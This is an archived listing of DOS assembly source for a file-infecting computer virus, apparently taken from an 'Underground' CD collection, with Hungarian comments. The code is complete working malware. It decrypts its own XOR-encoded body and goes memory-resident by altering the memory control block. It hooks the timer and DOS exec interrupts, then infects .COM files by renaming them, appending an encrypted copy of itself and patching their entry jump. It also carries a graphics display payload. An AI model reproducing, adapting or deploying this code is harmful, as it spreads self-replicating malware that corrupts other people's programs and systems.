home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / h / hh&h.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  32.0 KB  |  902 lines

  1. CODE     segment para  public 'code'
  2.  
  3.          assume  cs:code,ds:code,es:nothing,ss:nothing
  4.  
  5.  
  6.  
  7.                         org     100h
  8.  
  9.  
  10.  
  11. egy                     equ     1               ; one
  12.  
  13. dma                     equ     0b0h
  14.  
  15. atvar                   equ     300             ; at paramaeter
  16.  
  17. xtvar                   equ     1               ; xt parameter
  18.  
  19. suruseg                 equ     255             ; density
  20.  
  21. idotartalek             equ     18*30           ; time delay
  22.  
  23.  
  24.  
  25. start:          db      0e9h,0,0
  26.  
  27. ;##################### Initialization ######################
  28.  
  29. resid:          push    ax
  30.  
  31.                 mov     cx,offset memory - offset begin   ;#### decoding ####
  32.  
  33.                 mov     bx,ds:[101h]
  34.  
  35.                 add     bx,103h+(offset begin-offset resid)
  36.  
  37. jhg1:           xor     byte ptr [bx],0
  38.  
  39.                 inc     bx
  40.  
  41.                 loop    jhg1
  42.  
  43.  
  44.  
  45. begin:          sub     bx,(offset begin-offset resid)+(offset memory - offset begin)
  46.  
  47.                 mov     cs:[0feh],bx
  48.  
  49.                 mov     ax,[bx+(offset eltarol-offset resid)]
  50.  
  51.                 mov     cl,[bx+(offset eltarol-offset resid)+2]
  52.  
  53.                 mov     ds:[100h],ax
  54.  
  55.                 mov     ds:[102h],cl
  56.  
  57.                 mov     cx,0b800h
  58.  
  59.                 mov     ah,15
  60.  
  61.                 push    bx
  62.  
  63.                 int     10h
  64.  
  65.                 pop     bx
  66.  
  67.                 cmp     al,7
  68.  
  69.                 jne     rety
  70.  
  71.                 mov     ch,0b0h
  72.  
  73. rety:           mov     [bx+(offset ruut - offset resid)+1],cx
  74.  
  75.                 mov     word ptr [bx+(offset counter-offset resid)],idotartalek
  76.  
  77.                 mov     byte ptr [bx+(offset jammed-offset resid)+1],al
  78.  
  79.                 mov     byte ptr [bx+(offset vanesik-offset resid)],0
  80.  
  81.                 xor     ax,ax
  82.  
  83.                 mov     ds,ax
  84.  
  85.                 cmp     word ptr ds:[130h],4142h
  86.  
  87.                 je      zipp
  88.  
  89.                 mov     ds:[130h],4142h
  90.  
  91.                 mov     ax,cs
  92.  
  93.                 dec     ax
  94.  
  95.                 mov     ds,ax
  96.  
  97.                 mov     ax,ds:[3]
  98.  
  99.                 sub     ax,180h
  100.  
  101.                 mov     ds:[3],ax
  102.  
  103.                 add     ax,ds:[1]
  104.  
  105.                 mov     es,ax
  106.  
  107.                 push    cs
  108.  
  109.                 pop     ds
  110.  
  111.                 sub     word ptr ds:[2],384
  112.  
  113.                 mov     di,3
  114.  
  115.                 mov     si,bx
  116.  
  117.                 mov     cx,(offset memory-offset resid) shr 1 +1
  118.  
  119.                 cld
  120.  
  121.                 rep     movsw
  122.  
  123.                 mov     ax,es
  124.  
  125.                 sub     ax,10h
  126.  
  127.                 mov     ds,ax
  128.  
  129.                 mov     dx,offset irq
  130.  
  131.                 mov     ax,251ch
  132.  
  133.                 int     21h
  134.  
  135.                 mov     ah,2ah
  136.  
  137.                 int     21h
  138.  
  139.                 cmp     al,1
  140.  
  141.                 jne     zipp
  142.  
  143.                 dec     al
  144.  
  145.                 out     0a0h,al
  146.  
  147.                 mov     al,dma
  148.  
  149.                 out     41h,al
  150.  
  151. zipp:
  152.  
  153.                 mov     ax,cs
  154.  
  155.                 mov     ds,ax
  156.  
  157.                 mov     es,ax
  158.  
  159.                 pop     ax
  160.  
  161.                 push     cs
  162.  
  163.                 mov     cx,100h
  164.  
  165.                 push     cx
  166.  
  167.                 mov     cx,ds:[0feh]
  168.  
  169.                 sub     cx,100h
  170.  
  171.                 retf
  172.  
  173. eltarol         dw      20cdh
  174.  
  175. eltarol2        db      90h
  176.  
  177.  
  178.  
  179. ;######################### Vyrus activated ##########################
  180.  
  181. csik:           mov ax,0e000h
  182.  
  183.                 mov ds,ax
  184.  
  185. csiky:          mov ds:[0],al
  186.  
  187.                 inc al
  188.  
  189.                 jmp csiky
  190.  
  191.  
  192.  
  193. ;######################### propagation part ##########################
  194.  
  195.  
  196.  
  197. eredeti:        db 0eah                 ; original
  198.  
  199. int211          dw 0
  200.  
  201. int212          dw 0
  202.  
  203. counter         dw 0
  204.  
  205. szaporodas:     cmp ah,4bh      
  206.  
  207.                 jne eredeti
  208.  
  209.                 or al,al
  210.  
  211.                 jnz eredeti
  212.  
  213.                 push ax
  214.  
  215.                 push es
  216.  
  217.                 push bx
  218.  
  219.                 push ds
  220.  
  221.                 push dx
  222.  
  223.                 mov bx,dx
  224.  
  225. koj:            inc bx
  226.  
  227.                 cmp byte ptr [bx],'.'
  228.  
  229.                 jne koj
  230.  
  231.                 cmp byte ptr[bx+1],'C'
  232.  
  233.                 jne kiugras1
  234.  
  235.                 mov cs:kds,ds
  236.  
  237.                 mov cs:kdx,dx
  238.  
  239.                 mov cs:kbx,bx
  240.  
  241.                 call probe
  242.  
  243. kiugras1:        pop dx
  244.  
  245.                 pop ds
  246.  
  247.                 pop bx
  248.  
  249.                 pop es
  250.  
  251.                 pop ax
  252.  
  253.                 jmp eredeti
  254.  
  255. kds             dw 0
  256.  
  257. kdx             dw 0
  258.  
  259. kbx             dw 0
  260.  
  261. kkk             dw 0
  262.  
  263. fszam           dw 0
  264.  
  265. probe:          push cs
  266.  
  267.                 pop es
  268.  
  269.                 mov di,offset memory
  270.  
  271.                 mov si,dx
  272.  
  273.                 mov cx,40
  274.  
  275.                 cld
  276.  
  277.                 rep movsw
  278.  
  279.                 mov bx,0ff0h
  280.  
  281.                 mov ah,48h
  282.  
  283.                 int 21h
  284.  
  285.                 jnc juk1
  286.  
  287.                 ret
  288.  
  289.                 ;!!!!! memoria lefoglalva   (kkk = Seg)
  290.  
  291. atr             dw 0
  292.  
  293. juk1:           mov cs:kkk,ax
  294.  
  295.                 mov dx,offset memory
  296.  
  297.                 push ds
  298.  
  299.                 pop es
  300.  
  301.                 mov bx,cs:kbx
  302.  
  303.                 mov byte ptr [bx+1],'A'  ;£
  304.  
  305.                 call elorutin
  306.  
  307.                 push cs
  308.  
  309.                 pop ds              ;DS:DX a masolt nev.
  310.  
  311.                 mov ax,4300h
  312.  
  313.                 int 21h
  314.  
  315.                 mov atr,cx
  316.  
  317.                 xor cx,cx
  318.  
  319.                 mov ax,4301h
  320.  
  321.                 int 21h
  322.  
  323.                                 ;!!!!! Attr allitas
  324.  
  325.                 cmp cs:attrflag,0
  326.  
  327.                 jz juk2
  328.  
  329.                 mov ds,cs:kds
  330.  
  331.                 jmp memoff
  332.  
  333. juk2:           mov di,kdx       ;ES:DI a regi nev atirva
  334.  
  335.                 mov ah,56h
  336.  
  337.                 int 21h
  338.  
  339.                 call utorutin    ;!!!!! Atnevezve
  340.  
  341.                 mov dx,cs:kdx
  342.  
  343.                 push es
  344.  
  345.                 pop ds
  346.  
  347.                 mov ax,3d02h
  348.  
  349.                 int 21h          ;!!!!! File megnyitva
  350.  
  351.                 mov cs:fszam,ax
  352.  
  353.                 mov ds,cs:kkk
  354.  
  355.                 xor dx,dx
  356.  
  357.                 mov bx,ax
  358.  
  359.                 mov cx,0fc00h-(offset memory-offset resid)
  360.  
  361.                 mov ah,3fh
  362.  
  363.                 int 21h
  364.  
  365.                 cmp ax,0fc00h-(offset memory-offset resid)
  366.  
  367.                         ;!!!!! Beolvasva a program (csak a hossza miatt)
  368.  
  369.                 je hosszu   ;zarjuk le a file-t
  370.  
  371.                 cmp ax,7580
  372.  
  373.                 jb hosszu   ;tul rovid a file
  374.  
  375.                 mov di,ax
  376.  
  377.  
  378.  
  379.                 mov bx,ds:[1]
  380.  
  381.                 cmp word ptr [bx+3],0b950h
  382.  
  383.  
  384.  
  385. ;$$$$$$$$$$$$$$$$$$$$$$$$$   FUCK OFF TASM,MASM   $$$$$$$$$$$$$$$$$$$$$$$$$$$
  386.  
  387.  
  388.  
  389.                 je hosszu
  390.  
  391.                 push di
  392.  
  393.                 mov cx,(offset memory-offset resid)
  394.  
  395.                 mov si,offset resid
  396.  
  397.                 push ds
  398.  
  399.                 pop es
  400.  
  401.                 push cs
  402.  
  403.                 pop ds
  404.  
  405.                 inc byte ptr ds:[offset jhg1 +2]
  406.  
  407.                 mov ax,es:[0]
  408.  
  409.                 mov eltarol,ax
  410.  
  411.                 mov al,es:[2]
  412.  
  413.                 mov eltarol2,al
  414.  
  415.                 rep movsw       ;!!!!! Atmasolva (hehe)
  416.  
  417.                 mov al,byte ptr ds:[offset jhg1 +2]
  418.  
  419.                 pop di
  420.  
  421.                 add di,(offset begin-offset resid)
  422.  
  423.                 mov cx,offset memory - offset begin   ;#### coding ####
  424.  
  425. jhga:           xor byte ptr es:[di],al
  426.  
  427.                 inc di
  428.  
  429.                 loop jhga
  430.  
  431.                 sub di,(offset memory - offset resid)
  432.  
  433.                 push di         ;Az ugrasi hely
  434.  
  435.                 mov bx,fszam
  436.  
  437.                 mov cx,offset memory - offset begin
  438.  
  439.                 mov dx,di
  440.  
  441.                 push es
  442.  
  443.                 pop ds
  444.  
  445.                 mov ah,40h
  446.  
  447.                 int 21h
  448.  
  449.                 pop di
  450.  
  451.                 cmp ax,offset memory - offset begin
  452.  
  453.                 je ghj1
  454.  
  455. hosszu:         jmp zardle
  456.  
  457. ghj1:           ;!!!!! Kiirva a vege
  458.  
  459.                 mov byte ptr ds:[0],0e9h
  460.  
  461.                 sub di,3
  462.  
  463.                 mov ds:[1],di
  464.  
  465.                 mov bx,cs:fszam
  466.  
  467.                 xor cx,cx
  468.  
  469.                 xor dx,dx
  470.  
  471.                 mov ax,4200h
  472.  
  473.                 push bx
  474.  
  475.                 int 21h
  476.  
  477.                 pop bx
  478.  
  479.                 mov cx,3
  480.  
  481.                 xor dx,dx
  482.  
  483.                 mov ah,40h
  484.  
  485.                 int 21h
  486.  
  487. zardle:         mov bx,cs:fszam
  488.  
  489.                 mov ah,3eh
  490.  
  491.                 int 21h         ;!!!!! File lezarva
  492.  
  493.                 push cs
  494.  
  495.                 pop es
  496.  
  497.                 mov di,offset memory
  498.  
  499.                 mov ds,cs:kds
  500.  
  501.                 mov dx,cs:kdx
  502.  
  503.                 mov ah,56h
  504.  
  505.                 int 21h         ;!!!!! File visszanevezve
  506.  
  507.                 mov bx,cs:kbx
  508.  
  509.                 mov byte ptr ds:[bx+1],'C'
  510.  
  511.                 mov ax,4301h
  512.  
  513.                 mov cx,cs:atr
  514.  
  515.                 int 21h         ;!!!!! attr visszaall
  516.  
  517. memoff:         mov bx,cs:kbx
  518.  
  519.                 mov byte ptr ds:[bx+1],'C'
  520.  
  521.                 push cs
  522.  
  523.                 pop ds
  524.  
  525.                 mov es,cs:kkk
  526.  
  527.                 mov ah,49h
  528.  
  529.                 int 21h         ;!!!!! Memoria visszaalt
  530.  
  531.                 ret
  532.  
  533. it241           dw 0
  534.  
  535. it242           dw 0
  536.  
  537. attrflag        db 0
  538.  
  539.  
  540.  
  541. elorutin:       mov cs:attrflag,0
  542.  
  543.                 xor ax,ax
  544.  
  545.                 mov ds,ax
  546.  
  547.                 mov ax,ds:[90h]
  548.  
  549.                 mov cs:it241,ax
  550.  
  551.                 mov ax,ds:[92h]
  552.  
  553.                 mov cs:it242,ax
  554.  
  555.                 mov ds:[90h],offset it24
  556.  
  557.                 mov ds:[92h],cs
  558.  
  559.                 ret
  560.  
  561.  
  562.  
  563. utorutin:       xor ax,ax
  564.  
  565.                 mov ds,ax
  566.  
  567.                 mov ax,cs:it241
  568.  
  569.                 mov ds:[90h],ax
  570.  
  571.                 mov ax,cs:it242
  572.  
  573.                 mov ds:[92h],ax
  574.  
  575.                 ret
  576.  
  577. it24:           mov cs:attrflag,1
  578.  
  579.                 xor al,al
  580.  
  581.                 iret
  582.  
  583. vanesik         db 0
  584.  
  585. irq:            cli
  586.  
  587.                 push ds
  588.  
  589.                 push es
  590.  
  591.                 push ax
  592.  
  593.                 push bx
  594.  
  595.                 push cx
  596.  
  597.                 push dx
  598.  
  599.                 push si
  600.  
  601.                 push di
  602.  
  603.                 cmp cs:counter,0
  604.  
  605.                 je sabad
  606.  
  607.                 dec cs:counter
  608.  
  609.                 jne sabad
  610.  
  611.                 xor ax,ax
  612.  
  613.                 mov ds,ax
  614.  
  615.                 mov ax,ds:[84h]
  616.  
  617.                 mov cs:int211,ax
  618.  
  619.                 mov ax,ds:[86h]
  620.  
  621.                 mov cs:int212,ax
  622.  
  623.                 mov ds:[84h],offset szaporodas
  624.  
  625.                 mov ds:[86h],cs
  626.  
  627. sabad:          cmp cs:vanesik,0
  628.  
  629.                 je keress
  630.  
  631.                 call idovan
  632.  
  633.                 jmp jumper
  634.  
  635. keress:         call ruut
  636.  
  637. jumper:         pop di
  638.  
  639.                 pop si
  640.  
  641.                 pop dx
  642.  
  643.                 pop cx
  644.  
  645.                 pop bx
  646.  
  647.                 pop ax
  648.  
  649.                 pop es
  650.  
  651.                 pop ds
  652.  
  653.                 iret
  654.  
  655.  
  656.  
  657. idovan:         xor ah,ah
  658.  
  659.                 int 1ah
  660.  
  661.                 and dx,suruseg
  662.  
  663.                 jne rutyi
  664.  
  665.                 call action
  666.  
  667. rutyi:          ret
  668.  
  669.  
  670.  
  671.  
  672.  
  673. ruut:           mov ax,0b800h
  674.  
  675.                 mov es,ax
  676.  
  677.                 mov di,cs:did
  678.  
  679.                 mov cx,512
  680.  
  681.                 cld
  682.  
  683. poke:           jcxz huy
  684.  
  685.                 mov al,'E'
  686.  
  687.                 repnz scasb
  688.  
  689.                 jz talalt
  690.  
  691. huy:            cmp di,4095
  692.  
  693.                 jb kisebb
  694.  
  695.                 mov cs:did,0
  696.  
  697.                 ret
  698.  
  699. kisebb:         add cs:did,512
  700.  
  701.                 ret
  702.  
  703. did             dw 0
  704.  
  705. talalt:         test di,1
  706.  
  707.                 jz poke
  708.  
  709.                 mov dl,es:[di+1]
  710.  
  711.                 mov dh,es:[di+3]
  712.  
  713.                 or dx,2020h
  714.  
  715.                 cmp dx,6973h     ;'is'
  716.  
  717.                 jne poke
  718.  
  719.                 mov bl,es:[di+5]
  720.  
  721.                 or bl,20h
  722.  
  723.                 cmp bl,'k'
  724.  
  725.                 jne poke
  726.  
  727.                 mov cs:vanesik,1
  728.  
  729.                 jmp huy
  730.  
  731. action:         mov ax,cs
  732.  
  733.                 mov ds,ax
  734.  
  735.                 mov es,ax
  736.  
  737.                 mov vanesik,0
  738.  
  739.                 mov pontszam,1
  740.  
  741.                 mov si,offset zizi
  742.  
  743.                 mov di,offset novi
  744.  
  745.                 cld
  746.  
  747.                 mov cx,6
  748.  
  749.                 rep movsw
  750.  
  751.                 call zoldseg
  752.  
  753. jammed:         mov ax,3
  754.  
  755.                 int 10h
  756.  
  757.                 cmp counterr,atvar
  758.  
  759.                 jne fdr
  760.  
  761.                 push cs
  762.  
  763.                 pop es
  764.  
  765.                 lea bx,mess
  766.  
  767.                 mov ax,1301h
  768.  
  769.                 mov bx,1
  770.  
  771.                 xor dx,dx
  772.  
  773.                 mov cx,offset drt-offset mess
  774.  
  775.                 int 10h
  776.  
  777. fdr:            ret
  778.  
  779.  
  780.  
  781. counterr        dw 0
  782.  
  783. zoldseg:        cli
  784.  
  785.                 mov di,offset memory
  786.  
  787.                 xor ax,ax
  788.  
  789.                 cld
  790.  
  791.                 mov cx,200*3
  792.  
  793.                 rep stosw
  794.  
  795.                 mov ah,0c0h
  796.  
  797.                 mov si,3333h
  798.  
  799.                 int 15h
  800.  
  801.                 cmp si,3333h
  802.  
  803.                 mov ax,xtvar
  804.  
  805.                 je xt
  806.  
  807.                 mov ax,atvar
  808.  
  809. xt:             mov counterr,ax
  810.  
  811.                 mov ax,3502h
  812.  
  813.                 int 21h
  814.  
  815.                 cmp bx,0e9eh
  816.  
  817.                 jne ibm
  818.  
  819.                 call init1
  820.  
  821.                 mov pontm,100
  822.  
  823.                 mov port,22h
  824.  
  825.                 jmp entry
  826.  
  827. ibm:            ;Ibm bulik
  828.  
  829.                 mov pontm,200
  830.  
  831.                 mov al,70h
  832.  
  833.                 mov port,60h         ;%
  834.  
  835.                 mov ah,15
  836.  
  837.                 int 10h
  838.  
  839.                 cmp al,7
  840.  
  841.                 jne cga
  842.  
  843.                 call init3
  844.  
  845.                 jmp entry
  846.  
  847. cga:            call init2
  848.  
  849.                 jmp entry
  850.  
  851. port            dw 22h
  852.  
  853. pontm           dw 100
  854.  
  855.  
  856.  
  857. init1:          mov ax,200h
  858.  
  859.                 mov es,ax
  860.  
  861.                 xor di,di
  862.  
  863.                 mov cx,4000h
  864.  
  865.                 cld
  866.  
  867.                 xor ax,ax
  868.  
  869.                 rep stosw
  870.  
  871.                 mov plotdw,offset plot
  872.  
  873.                 mov unplotdw,offset unplot
  874.  
  875.                 ret
  876.  
  877. init2:          mov ax,0b800h
  878.  
  879.                 mov es,ax
  880.  
  881.                 mov ax,6
  882.  
  883.                 int 10h
  884.  
  885.                 mov plotdw,offset plotcga
  886.  
  887.                 mov unplotdw,offset unplotcga
  888.  
  889.                 ret
  890.  
  891. init3:          mov ax,0b000h
  892.  
  893.                 mov es,ax
  894.  
  895.                 call prog
  896.  
  897.                 mov plotdw,offset plotherc
  898.  
  899.                 mov unplotdw,offset unplotcga
  900.  
  901.                 ret
  902.  
  903. prog:           mov dx,3bfh
  904.  
  905.                 mov al,3
  906.  
  907.                 out dx,al
  908.  
  909.                 mov al,28h
  910.  
  911.                 mov dx,3b8h
  912.  
  913.                 out dx,al
  914.  
  915.                 mov ah,0
  916.  
  917.                 mov cx,12
  918.  
  919.                 lea bx,ports
  920.  
  921. lopi1:          mov dx,03b4h
  922.  
  923.                 mov al,ah
  924.  
  925.                 out dx,al
  926.  
  927.                 inc ah
  928.  
  929.                 mov dx,03b5h
  930.  
  931.                 mov al,[bx]
  932.  
  933.                 out dx,al
  934.  
  935.                 inc bx
  936.  
  937.                 loop lopi1
  938.  
  939.  
  940.  
  941.                 mov dx,3bfh
  942.  
  943.                 mov al,3
  944.  
  945.                 out dx,al
  946.  
  947.                 mov dx,3b8h
  948.  
  949.                 mov al,0ah
  950.  
  951.                 out dx,al
  952.  
  953.                 xor di,di
  954.  
  955.                 mov cx,4000h
  956.  
  957.                 xor ax,ax
  958.  
  959.                 cld
  960.  
  961.                 rep stosw
  962.  
  963.                 ret
  964.  
  965.  
  966.  
  967. ports           db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0
  968.  
  969.  
  970.  
  971. ;**************************** Forgatorutin ************************************
  972.  
  973.  
  974.  
  975.                                 even
  976.  
  977. sina    dw 0
  978.  
  979. cosa    dw 0        ;si-t meghagyja
  980.  
  981. sinb    dw 0
  982.  
  983. cosb    dw 0
  984.  
  985. pontszam dw 1
  986.  
  987. transzform:     ;be:  di=X, bx=Y, cx=Z,   SINA,COSA,SINB,COSB
  988.  
  989. ;        add bx,ytol     ;ez itt jolesz
  990.  
  991.                 shl di,1
  992.  
  993.                 shl bx,1    ;X es Y elokeszitese a szorzashoz
  994.  
  995.                 mov ax,di
  996.  
  997.                 imul cosa
  998.  
  999.                 mov bp,dx
  1000.  
  1001.                 mov ax,bx
  1002.  
  1003.                 imul sina
  1004.  
  1005.                 add bp,dx   ; bp=X'     = cosa*X + sina*Y
  1006.  
  1007.                 mov ax,bx
  1008.  
  1009.                 imul cosa
  1010.  
  1011.                 mov bx,dx
  1012.  
  1013.                 mov ax,di
  1014.  
  1015.                 imul sina
  1016.  
  1017.                 sub bx,dx   ; bx=Y'     = cosa*X - sina*Y
  1018.  
  1019.                 shl bp,1
  1020.  
  1021.                 shl cx,1    ;X' es Z elokeszitese
  1022.  
  1023.                 mov ax,bp
  1024.  
  1025.                 imul cosb
  1026.  
  1027.                 mov di,dx
  1028.  
  1029.                 mov ax,cx
  1030.  
  1031.                 imul sinb
  1032.  
  1033.                 sub di,dx   ; di=X''    = cosb*X' - sinb*Z
  1034.  
  1035.                 mov cx,di
  1036.  
  1037.                 mov ax,bx
  1038.  
  1039.                 ret
  1040.  
  1041.  
  1042.  
  1043. comment @
  1044.  
  1045.                 mov ax,cx
  1046.  
  1047.                 imul cosb
  1048.  
  1049.                 mov cx,dx
  1050.  
  1051.                 mov ax,bp
  1052.  
  1053.                 imul sinb
  1054.  
  1055.                 add cx,dx   ; cx=Z''    = cosb*Z = sinb*X'
  1056.  
  1057.  
  1058.  
  1059.                         ; out: di=X'' bx=Y'' cx=Z''
  1060.  
  1061.                 mov dx,keptav
  1062.  
  1063. ;****************************** PERSPEKTIVA **********************************
  1064.  
  1065.          mov ax,di
  1066.  
  1067.          shl ax,1
  1068.  
  1069.          imul tavol
  1070.  
  1071.          mov cx,dx
  1072.  
  1073.          mov ax,bx
  1074.  
  1075.          shl ax,1
  1076.  
  1077.          imul tavol
  1078.  
  1079.          mov ax,dx
  1080.  
  1081.          ret     ; ki : CX=X'  AX=Y'
  1082.  
  1083.  
  1084.  
  1085. @
  1086.  
  1087.  
  1088.  
  1089. plotherc:   ; al=y     cx=x
  1090.  
  1091.                 xor ah,ah
  1092.  
  1093.                 mov dx,ax
  1094.  
  1095.                 shr dx,1
  1096.  
  1097.                 add ax,dx
  1098.  
  1099.                 mov dx,cx
  1100.  
  1101.                 mov cl,al
  1102.  
  1103.                 and cl,3
  1104.  
  1105.                 shr ax,1
  1106.  
  1107.                 shr al,1
  1108.  
  1109.                 mov di,2000h
  1110.  
  1111.                 shl di,cl
  1112.  
  1113.                 mov cl,90
  1114.  
  1115.                 mul cl
  1116.  
  1117.                 add di,ax
  1118.  
  1119.                 mov ax,dx
  1120.  
  1121.                 mov cx,dx
  1122.  
  1123.                 jmp ezisi
  1124.  
  1125. plotcga:        xor di,di
  1126.  
  1127.                 shr ax,1
  1128.  
  1129.                 jnc tryp
  1130.  
  1131.                 mov di,2000h
  1132.  
  1133. tryp:           mov dl,80
  1134.  
  1135.                 mul dl
  1136.  
  1137.                 add di,ax
  1138.  
  1139.                 mov ax,cx
  1140.  
  1141. ezisi:          shr ax,1
  1142.  
  1143.                 shr ax,1
  1144.  
  1145.                 shr ax,1
  1146.  
  1147.                 add di,ax
  1148.  
  1149.                 and cl,7
  1150.  
  1151.                 mov al,128
  1152.  
  1153.                 shr al,cl
  1154.  
  1155.                 or es:[di],al
  1156.  
  1157.                 jmp ezis1
  1158.  
  1159.  
  1160.  
  1161. unplotcga:      mov al,[bx]
  1162.  
  1163.                 mov di,[bx+1]
  1164.  
  1165.                 xor al,255
  1166.  
  1167.                 and es:[di],al
  1168.  
  1169.                 ret
  1170.  
  1171.  
  1172.  
  1173. plot:                   ;AL = y koord.  cx = x koord.
  1174.  
  1175.                 mov dl,160
  1176.  
  1177.                 mul dl
  1178.  
  1179.                 mov di,ax
  1180.  
  1181.                 mov ax,cx
  1182.  
  1183.                 shr ax,1
  1184.  
  1185.                 shr ax,1
  1186.  
  1187.                 add di,ax
  1188.  
  1189.                 and di,-2
  1190.  
  1191.                 and cl,7
  1192.  
  1193.                 mov al,128
  1194.  
  1195.                 shr al,cl
  1196.  
  1197.                 or es:[di+egy],al
  1198.  
  1199. ezis1:          mov [bx],al
  1200.  
  1201.                 inc bx
  1202.  
  1203.                 mov [bx],di
  1204.  
  1205.                 add bx,2
  1206.  
  1207.                 ret
  1208.  
  1209. unplot:         mov al,[bx]
  1210.  
  1211.                 mov di,[bx+1]
  1212.  
  1213.                 xor al,255
  1214.  
  1215.                 and es:[di+egy],al
  1216.  
  1217.                 ret
  1218.  
  1219. kezdfazisrajz:  mov bx,offset memory
  1220.  
  1221.                 mov si,offset gombdata
  1222.  
  1223.                 mov cx,pontszam
  1224.  
  1225. ck1:            push cx
  1226.  
  1227.                 lodsw
  1228.  
  1229.                 mov cx,ax
  1230.  
  1231.                 shl cx,1
  1232.  
  1233.                 add cx,320
  1234.  
  1235.                 lodsw
  1236.  
  1237.                 add si,2
  1238.  
  1239.                 add ax,50
  1240.  
  1241.                 call word ptr [plotdw]
  1242.  
  1243.                 pop cx
  1244.  
  1245.                 loop ck1
  1246.  
  1247.                 ret
  1248.  
  1249. indy            db 0
  1250.  
  1251.  
  1252.  
  1253. fazisrajz:      mov bx,offset memory
  1254.  
  1255.                 mov si,offset gombdata
  1256.  
  1257.                 mov cx,pontszam
  1258.  
  1259.                 mov indy,1
  1260.  
  1261. ck12:           push cx
  1262.  
  1263.                 call word ptr [unplotdw]
  1264.  
  1265.                 push bx
  1266.  
  1267.                 lodsw
  1268.  
  1269.                 mov di,ax
  1270.  
  1271.                 lodsw
  1272.  
  1273.                 mov bx,ax
  1274.  
  1275.                 lodsw
  1276.  
  1277.                 mov cx,ax
  1278.  
  1279.                 call transzform
  1280.  
  1281.                 pop bx
  1282.  
  1283.                 add ax,50
  1284.  
  1285.                 mov di,bxpo
  1286.  
  1287.                 add al,[di]
  1288.  
  1289.                 shl cx,1
  1290.  
  1291.                 add cx,bxpo2
  1292.  
  1293.                 cmp indy,0
  1294.  
  1295.                 je ruty
  1296.  
  1297.                 mov indy,0
  1298.  
  1299.                 cmp karal2,0
  1300.  
  1301.                 jne ruty
  1302.  
  1303.                 push cx
  1304.  
  1305.                 push ax
  1306.  
  1307.                 inc cx
  1308.  
  1309.                 call word ptr [plotdw]
  1310.  
  1311.                 pop ax
  1312.  
  1313.                 pop cx
  1314.  
  1315.                 sub bx,3
  1316.  
  1317. ruty:           call word ptr [plotdw]
  1318.  
  1319.                 pop cx
  1320.  
  1321.                 loop ck12
  1322.  
  1323.                 ret
  1324.  
  1325.  
  1326.  
  1327. novpont:        mov ax,pontm
  1328.  
  1329.                 cmp pontszam,ax
  1330.  
  1331.                 je trew
  1332.  
  1333.                 mov cx,pontm
  1334.  
  1335.                 sub cx,pontszam
  1336.  
  1337.                 mov ch,cl
  1338.  
  1339.                 shR cx,1
  1340.  
  1341.                 shr cx,1
  1342.  
  1343. yut:            loop yut
  1344.  
  1345.                 inc pontszam
  1346.  
  1347.                 ret
  1348.  
  1349. trew:           call movie
  1350.  
  1351.                 mov bx,bxpo
  1352.  
  1353.                 cmp bx,offset patt
  1354.  
  1355.                 je valto
  1356.  
  1357.                 cmp bx,offset patt+29
  1358.  
  1359.                 je valto
  1360.  
  1361. iuy:            add bx,novi
  1362.  
  1363.                 mov bxpo,bx
  1364.  
  1365.                 ret
  1366.  
  1367. valto:          neg novi
  1368.  
  1369.                 jmp iuy
  1370.  
  1371. novi            dw -1
  1372.  
  1373. bxpo            dw offset patt
  1374.  
  1375. bxpo2           dw 320
  1376.  
  1377. novi2           dw 4
  1378.  
  1379. karal           dw 300
  1380.  
  1381. karal2          dw 600
  1382.  
  1383. zizi            dw -1,offset patt,320,4,300,600
  1384.  
  1385. movie:          cmp karal,0
  1386.  
  1387.                 je jesty
  1388.  
  1389.                 dec karal
  1390.  
  1391.                 ret
  1392.  
  1393. jesty:          cmp karal2,0
  1394.  
  1395.                 je jesty2
  1396.  
  1397.                 dec karal2
  1398.  
  1399. jesty2:         mov bx,bxpo2
  1400.  
  1401.                 cmp bx,100
  1402.  
  1403.                 je valto2
  1404.  
  1405.                 cmp bx,540
  1406.  
  1407.                 je valto2
  1408.  
  1409. iuy2:           add bx,novi2
  1410.  
  1411.                 mov bxpo2,bx
  1412.  
  1413.                 ret
  1414.  
  1415. valto2:         neg novi2
  1416.  
  1417.                 jmp iuy2
  1418.  
  1419. elokesz:        call novpont
  1420.  
  1421.                 mov bl,szogx
  1422.  
  1423.                 xor bh,bh
  1424.  
  1425.                 shl bx,1
  1426.  
  1427.                 mov ax,sintabl[bx]
  1428.  
  1429.                 mov sina,ax
  1430.  
  1431.                 mov ax,costabl[bx]
  1432.  
  1433.                 mov cosa,ax
  1434.  
  1435.                 mov bl,szogy
  1436.  
  1437.                 xor bh,bh
  1438.  
  1439.                 shl bx,1
  1440.  
  1441.                 mov ax,sintabl[bx]
  1442.  
  1443.                 mov sinb,ax
  1444.  
  1445.                 mov ax,costabl[bx]
  1446.  
  1447.                 mov cosb,ax
  1448.  
  1449.                 mov al,szogxvalt
  1450.  
  1451.                 add szogx,al
  1452.  
  1453.                 mov al,szogyvalt
  1454.  
  1455.                 add szogy,al
  1456.  
  1457.                 ret
  1458.  
  1459.         even
  1460.  
  1461. szogx           db 0
  1462.  
  1463. szogy           db 0
  1464.  
  1465. szogxvalt       db 2
  1466.  
  1467. szogyvalt       db 5
  1468.  
  1469. tavol           dw 32767
  1470.  
  1471.  
  1472.  
  1473. phase:          call elokesz
  1474.  
  1475.                 call fazisrajz
  1476.  
  1477.                 ret
  1478.  
  1479. entry:          call kezdfazisrajz
  1480.  
  1481. rajta1:         call phase
  1482.  
  1483.                 cmp pontm,100
  1484.  
  1485.                 je apc
  1486.  
  1487.                 cmp byte ptr ds:[offset ruut +2],0b8h
  1488.  
  1489.                 je ccggaa
  1490.  
  1491.                 mov cx,counterr
  1492.  
  1493.                 mov dx,3bah
  1494.  
  1495. qaz1:           in al,dx
  1496.  
  1497.                 and al,1
  1498.  
  1499.                 jnz qaz1
  1500.  
  1501. qaz2:           in al,dx
  1502.  
  1503.                 and al,1
  1504.  
  1505.                 jz qaz2
  1506.  
  1507.                 loop qaz1
  1508.  
  1509.                 jmp apc
  1510.  
  1511. ccggaa:         mov dx,3dah
  1512.  
  1513. qaz3:           in al,dx
  1514.  
  1515.                 and al,8
  1516.  
  1517.                 jnz qaz3
  1518.  
  1519. qaz4:           in al,dx
  1520.  
  1521.                 and al,8
  1522.  
  1523.                 jz qaz4
  1524.  
  1525. apc:            mov dx,port
  1526.  
  1527.                 in al,dx
  1528.  
  1529.                 and al,1
  1530.  
  1531.                 jz rajta1
  1532.  
  1533.                 ret
  1534.  
